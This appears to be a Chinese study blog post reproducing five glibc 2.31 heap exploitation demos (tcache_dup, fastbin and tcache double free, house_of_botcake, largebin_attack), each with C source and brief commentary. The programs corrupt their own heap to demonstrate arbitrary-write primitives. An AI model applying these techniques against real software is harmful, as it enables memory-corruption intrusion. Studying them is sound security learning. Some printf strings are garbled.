heap exploit about ptmalloc in glibc version 2.31

　　学习的一下高版本的libc的利用方式。

　　项目地址：https://github.com/StarCross-Tech/heap_exploit_2.31

tcache_dup

源代码：

#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
int main(int argc,char **argv)
{
    //this is tcache
    /*
    *typedef struct tcache_entry
    {
        struct tcache_entry *next;
   //This field exists to detect double frees.  
        struct tcache_perthread_struct *key;
    } tcache_entry;
     */
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    printf("tcache_dup can help you achieve "arbitrary address writes"
");
    void *p,*q,*r,*d;
    p = malloc(0x10);
    q = malloc(0x10);
    free(p);
    printf("now , we have a tcache which is already free
");
    printf("We can modify its next pointer!
");
    *(uint64_t *)p = (uint64_t)q;
    printf("now p's next pointer = q
");
    printf("p's next = %p ,q = %p
",*(uint64_t *)p,q);
    printf("so,We can malloc twice to get a pointer to q,sure you can change this to what you want!
");
    r = malloc(0x10);
    d = malloc(0x10);
    printf("OK!, we get we want!
");
}

　　u1s1，我看完之后没有任何收获。

fastbin_double_free

源代码：

#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
int main()
{
    /*this is double free related security mechanisms in glibc 2.29.
     *    if (__builtin_expect (old == p, 0))
      malloc_printerr ("double free or corruption (fasttop)");
    * */
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    printf("fastbin_double_free can help you achieve "arbitrary address writes"
");

    void *q,*r,*d;
    void *p[7];
    printf("First of all ,we need to Apply for heap blocks of the same size to consume tcache!
");
    for(int i=0;i<7;i++)
    {
        p[i] = malloc(0x10);
        printf("p[%d]  ===>  %p
",i,p[i]);
    }
    q = malloc(0x10);
    r = malloc(0x10);
    printf("now , we need to free 7 heap blocks to populate tcache linked list!
");
    for(int i=0;i<7;i++)
    {
        printf("now free p[%d]  ===>  %p
",i,p[i]);
        free(p[i]);
        p[i] = 0;
    }
    printf("now ,Our free heap blocks will be put into fastbin
");
    printf("now free q  ===>  %p
",q);
    free(q);
    printf("in order to achieve double free , we need to free another block to bypass check in glibc 2.29 !
");
    printf("now free r  ===>  %p
",r);
    free(r);
    printf("now we free q again!
");
    printf("now free q  ===>  %p
",q);
    free(q);
    printf("OK,we already achieve double free in glibc 2.29.!
");
}

 　　利用思路是，先free掉7个chunk来填充tcache，然后就和2.23的double free一样，free(a)，free(b)，free(a)来达到任意地址写。

tcache_double_free

源代码：

#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
int main(int argc,char **argv)
{
    //glibc 2.29 Security Mechanism
    /*
     *if (__glibc_unlikely (e->key == tcache))
      {
        tcache_entry *tmp;
        LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
        for (tmp = tcache->entries[tc_idx];
         tmp;
         tmp = tmp->next)
          if (tmp == e)
        malloc_printerr ("free(): double free detected in tcache 2");
        // If we get here, it was a coincidence.  We've wasted a
           few cycles, but don't abort.  
      }
     */
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    printf("tcache_double_free can help you achieve "arbitrary address writes"
");
    void *p,*q,*r,*d;
    p = malloc(0x10);
    free(p);
    printf("now we already free p = %p
",p);
    printf("we can change its key to help us achieve double free
");
    printf("its key = %p,now
",*(uint64_t *)(p+8));
    *(uint64_t *)(p + 8) = 0x122220;
    printf("after we change,its key = %p
",*(uint64_t *)(p+8));
    printf("so we can achieve double free!");
    free(p);
    printf("now we already achieve double free in glibc 2.29");
    return 0;
}

　　在2.29及以上，chunk被free后存在tache时，为了检测是否被double free引入一个key值。再具体的东西我也不懂（菜狗不想看glibc源码）。

　　这个例子的利用思路就是，free(a)，然后修改a这个chunk的key值，然后就可以继续free(a)了，然后就可以实现任意写了。

 house_of_botcake

源代码：

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>

static uint64_t victim = 0;
int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("Inspired by how2heap
");
    printf("You can use this technique to create chunk overlap, only relies on double free.
");

    printf("
1. Alloc 7 chunks to fill up tcache list
");

    char *x[7];
    for(int i=0; i<7; i++){
        x[i] = malloc(0x100);
    }

    printf("
2. Prepare two chunk with the same size as befor, for consolidation in unsortedbin
");
    
    char *a = malloc(0x100);
    char *b = malloc(0x100);

    printf("Padding chunk to prevent consolidation
");
    malloc(0x10);
    
    printf("
3. Fill in the tcache list and consolidation two prepared chunk in unsortedbin
");
    for(int i=0; i<7; i++){
        free(x[i]);
    }   

    free(b);
    free(a);
    
    printf("
4. Get a chunk from tcache list and make chunk overlap
");
    malloc(0x100);

    free(b);
    printf("Now, chunk %p will be freed into tcache list
", b);    
    
    char* res = malloc(0x130);
    printf("Size is not matched with tcache list, so get chunk from unsortedbin, which makes chunk overlap
");
    
    *(uint64_t*)(res+0x110) = (uint64_t)(&victim);

    printf("Now, you can control tcache list to alloc arbitrary address
");
    malloc(0x100);
    
    char *target = malloc(0x100);
    printf("Before attack, victim's value: 0x%lx
", victim);
    *(uint64_t*)target = 0xdeadbeef;
    printf("After attack, victim's value: 0x%lx
", victim);

    return 0;
}

　　利用double free构造堆块重叠。

　　首先将tcache填充满，然后free两个同样大小的堆块a和b，让a和b合并。将tcache中的一个chunk申请出来，然后再次free掉b堆块，此时b堆块既在unsortedbin中，又在tcache链中。

　　修改b堆块的fd指针为victim_addr，申请两次chunk，第二次就申请到victim_addr了。

 largebin_attack

源代码：

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>

static uint64_t victim;

int main()
{
    setbuf(stdout, 0);
    setbuf(stderr, 0);

    printf("You can use this technique to write a big number to arbitrary address
");
    char *p1, *p2, *p3;
    printf("
1. Create two chunk, and free the larger one into largebin list
");
    
    p1 = malloc(0x458);
    malloc(0x18);
    p2 = malloc(0x448);
    malloc(0x18);

    free(p1);
    //trigger
    malloc(0x600);

    printf("Now the chunk %p is in largebin
", p1);

    printf("
2. Free the smaller one into unsortedbin, and change chunk's bk_nextsize in largebin to &victim-0x20
");
    free(p2);
    printf("Now the chunk %p is in unsortedbin
", p2);

    *(uint64_t*)(p1+0x18) = (uint64_t)(&victim)-0x20;

    printf("
3. Alloc a size not match the the chunk size in unsortedbin
");
    printf("It will trigger largebin attack, write a big number to victim
");
    printf("Before attack, victim's value: 0x%lx
", victim);
    malloc(0x68);
    printf("After attack, victim's value: 0x%lx
", victim);

    return 0;
}

　　创建两个大于0x400的chunk(a)和chunk(b)，先将chunk(a)释放掉，让chunk(a)先落入unsortedbin中，再创建size比这个chunk(a)大的堆块，此时的chunk(a)就会进入largebins。

　　将chunk(b)释放掉，将chunk(a)的bk_nextsize修改为victim-0x20，此时chunk(b)在unsortedbin中，申请一个比chunk(b)小的chunk，就会触发largebin attack，在victim处留下一个较大的数。